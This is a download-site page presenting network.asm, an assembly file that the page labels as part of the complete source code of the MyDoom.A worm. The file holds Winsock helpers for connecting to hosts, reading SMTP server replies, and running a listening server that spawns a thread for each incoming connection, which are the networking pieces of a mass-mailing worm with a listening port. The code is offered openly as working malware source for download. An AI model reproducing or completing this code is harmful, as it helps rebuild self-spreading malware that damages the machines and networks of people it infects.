⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 network.asm

📁 蠕虫mydoom.a版本的完整源代码
💻 ASM
字号:
; Common networking functions
; #########################################################################

WaitUntilConnected      proto
                        ; lpHost
NetResolve              proto :DWORD
                        ; s, timeout
NetWaitRecv             proto :DWORD, :DWORD
                        ; s, stream, bytes, first_timeout, read_timeout
NetRecvUntilBytes       proto :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
                        ; s, stream, maxlen, char, timeout
NetRecvUntilChar        proto :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
                        ; szHost, IP, port
NetConnect              proto :DWORD, :DWORD, :DWORD

.data
                        CurConnections  dd      0       ; Number of current connections (threads)

.code

; Waits until connected to internet
WaitUntilConnected proc
        @l:
                invoke  InternetGetConnectedState, 0, 0
                .IF     eax
                        ret
                .ENDIF
                invoke  Sleep, 2000
        jmp     @l
        ret
WaitUntilConnected endp

; Returns local IP address (1st adapter), or 0 on error
NetLocalIP proc uses ebx
        LOCAL   buf[256]: BYTE
        xor     ebx, ebx

        invoke  ZeroMemory, addr buf, 256

        invoke  gethostname, addr buf, 255
        test    eax, eax
        jnz     @glip_err

        invoke  gethostbyname, addr buf
        test    eax, eax
        jz      @glip_err
        
        assume  eax: ptr hostent
        mov     eax, [eax].h_list
        assume  eax: nothing
        test    eax, eax
        jz      @glip_err

        mov     eax, [eax]
        mov     ebx, [eax]

@glip_err:
        mov     eax, ebx

        ret
NetLocalIP endp

; Returns resolved IP, or INADDR_NONE
NetResolve proc lpHost: DWORD
        invoke  inet_addr, lpHost
        cmp     eax, INADDR_NONE
        jnz     @res_err

        invoke  gethostbyname, lpHost
        .IF     eax == 0
                mov     eax, INADDR_NONE
        .ELSE
                mov     eax, [eax][hostent.h_list]
                .IF     !eax
                        mov     eax, INADDR_NONE
                        jmp     @res_err
                .ENDIF
                mov     eax, [eax]
                mov     eax, [eax]
        .ENDIF

@res_err:
        ret
NetResolve endp

; Waits for timeout until avaible some data for recv, returns TRUE on SUCCESS
NetWaitRecv proc s, timeout: DWORD
        LOCAL   fd: fd_set
        LOCAL   to: timeval

        m2m     to.tv_sec, timeout
        mov     to.tv_usec, 0

        mov     fd.fd_count, 1          ; FD_ZERO
        lea     eax, fd.fd_array
        m2m     [eax], s                ; FD_SET

        invoke  select, 0, addr fd, NULL, NULL, addr to
        .IF     (eax == SOCKET_ERROR) || (eax == 0)
                xor     eax, eax
        .ELSE
                mov     al, 1
        .ENDIF
        ret
NetWaitRecv endp

; Receives needed amount of bytes, returns TRUE on SUCCESS
NetRecvUntilBytes proc uses ebx s, stream, bytes, first_timeout, read_timeout: DWORD
        LOCAL   lpBuf[128]: BYTE

        mov     ebx, bytes

        invoke  NetWaitRecv, s, first_timeout
        .IF     eax
        @@:
                .IF     ebx > 128
                        mov     ecx, 128
                .ELSE
                        mov     ecx, ebx
                .ENDIF
                jecxz   @nrb_ret
                invoke  recv, s, addr lpBuf, ecx, 0
                test    eax, eax
                jle     @nrb_ret
                sub     ebx, eax
                coinvoke stream, IStream, Write, addr lpBuf, eax, 0

                .IF     read_timeout != 0
                        jmp     @nrb_ret
                .ENDIF
                jmp     @B
        .ENDIF

@nrb_ret:
        xor     eax, eax
        test    ebx, ebx
        setz    al
        ret
NetRecvUntilBytes endp

; Receives until specified char is reached, returns TRUE on SUCCESS
NetRecvUntilChar proc uses ebx s, stream, maxlen, char, timeout: DWORD
        LOCAL   lpBuf: BYTE

        sub     ebx, ebx
        invoke  NetWaitRecv, s, timeout
        .IF     eax
        @@:
                invoke  recv, s, addr lpBuf, 1, 0
                test    eax, eax
                jle     @nrc_ret

                mov     eax, char
                .IF     lpBuf == al
                        mov     bl, 1
                .ENDIF

                coinvoke stream, IStream, Write, addr lpBuf, 1, 0
                invoke  StreamGetLength, stream
                .IF     eax >= maxlen
                        jmp     @nrc_ret
                .ENDIF

                test    ebx, ebx
                jz      @B
        .ENDIF

@nrc_ret:
        mov     eax, ebx
        ret
NetRecvUntilChar endp

; Receive until CRLF
NetRecvSMTPLine proc s, stream, maxlen, timeout: DWORD
        LOCAL   buf[5]: BYTE
        LOCAL   ofs: DWORD

@smtp_recv:
        invoke  StreamClear, stream
        invoke  StreamSeekOffset, stream, 0, OFS_CUR
        mov     ofs, eax

        invoke  ZeroMemory, addr buf, 5
        invoke  NetRecvUntilChar, s, stream, maxlen, 10, timeout
        test    eax, eax
        jz      @smtp_ret

        invoke  StreamSeekOffset, stream, ofs, OFS_BEGIN
        coinvoke stream, IStream, Read, addr buf, 4, 0
        invoke  StreamGotoEnd, stream
        .IF     buf[3] == ' '
                ; Finished
                mov     eax, 1
                ret
        .ELSEIF buf[3] != '-'
                ; Not a valid status
                xor     eax, eax
                ret
        .ENDIF        
        jmp     @smtp_recv

@smtp_ret:
        ret
NetRecvSMTPLine endp

; Connects to Host/IP with needed port, returns socket or 0 on error
NetConnect proc uses ebx szHost, IP, port: DWORD
        LOCAL   sin: sockaddr_in

        xor     ebx, ebx

        invoke  socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
        .IF     eax == INVALID_SOCKET 
                jmp     @nc_ret
        .ENDIF
        mov     ebx, eax
        invoke  ZeroMemory, addr sin, sizeof sockaddr_in
                
        mov     sin.sin_family, AF_INET
        mov     ecx, port
        ;xchg    cl, ch
        mov     sin.sin_port, cx

        .IF     (IP)
                mov     eax, IP
        .ELSEIF !((IP)||(szHost))
                jmp     @sock_err
        .ELSE
                invoke  NetResolve, szHost
                .IF     eax == INADDR_NONE
                        jmp     @sock_err
                .ENDIF
        .ENDIF
        mov     sin.sin_addr.S_un.S_addr, eax

        invoke  connect, ebx, addr sin, sizeof sockaddr_in
        .IF     eax == SOCKET_ERROR
@sock_err:
                invoke  closesocket, ebx
                xor     ebx, ebx
        .ENDIF

@nc_ret:
        mov     eax, ebx
        ret
NetConnect endp

; Common winsock listening thread
AbstractServerDaemonThread proc uses esi ebx lpParam: DWORD
        LOCAL   sin: sockaddr_in
        LOCAL   lpThreadId: DWORD

        invoke  ZeroMemory, addr sin, sizeof sockaddr_in
        mov     sin.sin_family, AF_INET
        mov     esi, lpParam
        mov     eax, [esi]
        mov     esi, [esi+4]
        xchg    al, ah
        mov     sin.sin_port, ax
        mov     sin.sin_addr.S_un.S_addr, INADDR_ANY
        invoke  socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
        mov     ebx, eax
        invoke  GlobalFree, lpParam

        .IF     ebx == INVALID_SOCKET 
                xor     ebx, ebx
                jmp     @sdaemon_err
        .ENDIF

        invoke  bind, ebx, addr sin, sizeof sockaddr_in
        .IF     eax
                jmp     @sdaemon_err
        .ENDIF

        invoke  listen, ebx, SOMAXCONN
        .IF     eax
                jmp     @sdaemon_err
        .ENDIF

@infinite:
        mov     lpThreadId, sizeof sockaddr_in
        invoke  accept, ebx, addr sin, addr lpThreadId
        .IF     eax == INVALID_SOCKET
                jmp     @sdaemon_err
        .ENDIF

        xchg     eax, ecx 

        mov     edx, CurConnections
        .IF     edx < MaxConnections
                invoke  CreateThread, NULL, 0, esi, ecx, 0, addr lpThreadId
        .ELSE
                invoke  closesocket, ecx
        .ENDIF
        jmp     @infinite

@sdaemon_err:
        .IF     ebx
                invoke  closesocket, ebx
                mov     ebx, 0
        .ENDIF
        xor     eax, eax
        ret
AbstractServerDaemonThread endp

; Bind server
AbstractStartServer proc Port, Thread: DWORD
        LOCAL   lpBuf: DWORD
        LOCAL   lpThreadId: DWORD

        invoke  GlobalAlloc, GMEM_FIXED, 8
        mov     lpBuf, eax

        m2m     [eax], Port
        m2m     [eax+4], Thread

        invoke  CreateThread, NULL, 0, offset AbstractServerDaemonThread, lpBuf, 0, addr lpThreadId
        ret
AbstractStartServer endp

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -